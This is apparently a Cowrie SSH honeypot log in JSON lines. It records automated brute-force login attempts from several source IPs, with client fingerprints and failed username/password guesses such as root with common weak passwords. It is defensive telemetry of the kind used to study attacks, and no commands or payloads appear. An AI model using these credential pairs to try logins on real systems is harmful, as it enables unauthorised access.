{"eventid":"cowrie.login.failed","username":"edward","password":"123456","message":"login attempt [edward/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:13:46.043766Z","src_ip":"83.168.110.85","session":"cc9453a52bd6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.9","message":"Connection lost after 1.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:13:47.369642Z","src_ip":"83.168.110.85","session":"cc9453a52bd6","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"83.168.110.85","src_port":49968,"dst_ip":"159.203.135.109","dst_port":22,"session":"70105afece9d","protocol":"ssh","message":"New connection: 83.168.110.85:49968 (159.203.135.109:22) [session: 70105afece9d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:13:55.797833Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:13:55.911697Z","src_ip":"83.168.110.85","session":"70105afece9d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:13:56.101085Z","src_ip":"83.168.110.85","session":"70105afece9d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"elastic","password":"123456","message":"login attempt [elastic/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:13:56.465704Z","src_ip":"83.168.110.85","session":"70105afece9d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:13:57.589810Z","src_ip":"83.168.110.85","session":"70105afece9d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"83.168.110.85","src_port":52126,"dst_ip":"159.203.135.109","dst_port":22,"session":"ca1998309bfb","protocol":"ssh","message":"New connection: 83.168.110.85:52126 (159.203.135.109:22) [session: ca1998309bfb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:14:06.397420Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:14:06.405933Z","src_ip":"83.168.110.85","session":"ca1998309bfb","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:14:06.659944Z","src_ip":"83.168.110.85","session":"ca1998309bfb","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"gabriel","password":"gabriel","message":"login attempt [gabriel/gabriel] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:14:07.096629Z","src_ip":"83.168.110.85","session":"ca1998309bfb","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:14:08.220318Z","src_ip":"83.168.110.85","session":"ca1998309bfb","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"51.250.105.222","src_port":58324,"dst_ip":"10.17.0.5","dst_port":22,"session":"98f49a95d4c4","protocol":"ssh","message":"New connection: 51.250.105.222:58324 (10.17.0.5:22) [session: 98f49a95d4c4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:14:15.782048Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:14:15.787190Z","src_ip":"51.250.105.222","session":"98f49a95d4c4","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:14:15.918440Z","src_ip":"51.250.105.222","session":"98f49a95d4c4","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"1q2w3e4r5tq","message":"login attempt [root/1q2w3e4r5tq] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:14:16.315181Z","src_ip":"51.250.105.222","session":"98f49a95d4c4","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"83.168.110.85","src_port":56324,"dst_ip":"159.203.135.109","dst_port":22,"session":"41706e3ff93a","protocol":"ssh","message":"New connection: 83.168.110.85:56324 (159.203.135.109:22) [session: 41706e3ff93a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:14:16.644994Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:14:16.649710Z","src_ip":"83.168.110.85","session":"41706e3ff93a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:14:16.775279Z","src_ip":"83.168.110.85","session":"41706e3ff93a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"myuser","password":"myuser","message":"login attempt [myuser/myuser] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:14:17.219971Z","src_ip":"83.168.110.85","session":"41706e3ff93a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:14:17.448732Z","src_ip":"51.250.105.222","session":"98f49a95d4c4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:14:18.346774Z","src_ip":"83.168.110.85","session":"41706e3ff93a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"83.168.110.85","src_port":36208,"dst_ip":"159.203.135.109","dst_port":22,"session":"de8a4994cfaa","protocol":"ssh","message":"New connection: 83.168.110.85:36208 (159.203.135.109:22) [session: de8a4994cfaa]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:14:27.354882Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:14:27.361036Z","src_ip":"83.168.110.85","session":"de8a4994cfaa","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:14:27.583652Z","src_ip":"83.168.110.85","session":"de8a4994cfaa","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"packer","password":"packer","message":"login attempt [packer/packer] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:14:27.961369Z","src_ip":"83.168.110.85","session":"de8a4994cfaa","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:14:29.085658Z","src_ip":"83.168.110.85","session":"de8a4994cfaa","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"83.168.110.85","src_port":48110,"dst_ip":"159.203.135.109","dst_port":22,"session":"5b88ad0d88e1","protocol":"ssh","message":"New connection: 83.168.110.85:48110 (159.203.135.109:22) [session: 5b88ad0d88e1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:14:37.883418Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:14:37.984125Z","src_ip":"83.168.110.85","session":"5b88ad0d88e1","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:14:38.125981Z","src_ip":"83.168.110.85","session":"5b88ad0d88e1","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"!qaz@WSX","message":"login attempt [root/!qaz@WSX] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:14:38.531663Z","src_ip":"83.168.110.85","session":"5b88ad0d88e1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:14:39.655226Z","src_ip":"83.168.110.85","session":"5b88ad0d88e1","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"83.168.110.85","src_port":45894,"dst_ip":"159.203.135.109","dst_port":22,"session":"4c9dd40695af","protocol":"ssh","message":"New connection: 83.168.110.85:45894 (159.203.135.109:22) [session: 4c9dd40695af]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:14:48.501384Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:14:48.571653Z","src_ip":"83.168.110.85","session":"4c9dd40695af","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:14:48.686615Z","src_ip":"83.168.110.85","session":"4c9dd40695af","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"0","message":"login attempt [root/0] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:14:49.105452Z","src_ip":"83.168.110.85","session":"4c9dd40695af","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.122.221.179","src_port":56832,"dst_ip":"10.17.0.5","dst_port":22,"session":"3780403eae73","protocol":"ssh","message":"New connection: 103.122.221.179:56832 (10.17.0.5:22) [session: 3780403eae73]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:14:49.867219Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:14:49.871778Z","src_ip":"103.122.221.179","session":"3780403eae73","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:14:50.128470Z","src_ip":"103.122.221.179","session":"3780403eae73","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:14:50.347345Z","src_ip":"83.168.110.85","session":"4c9dd40695af","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"rfn.irf","message":"login attempt [root/rfn.irf] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:14:50.887092Z","src_ip":"103.122.221.179","session":"3780403eae73","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"79.3.96.178","src_port":46848,"dst_ip":"10.17.0.5","dst_port":22,"session":"eda81cad9c2f","protocol":"ssh","message":"New connection: 79.3.96.178:46848 (10.17.0.5:22) [session: eda81cad9c2f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:14:51.019431Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:14:51.024404Z","src_ip":"79.3.96.178","session":"eda81cad9c2f","protocol":"ssh"}
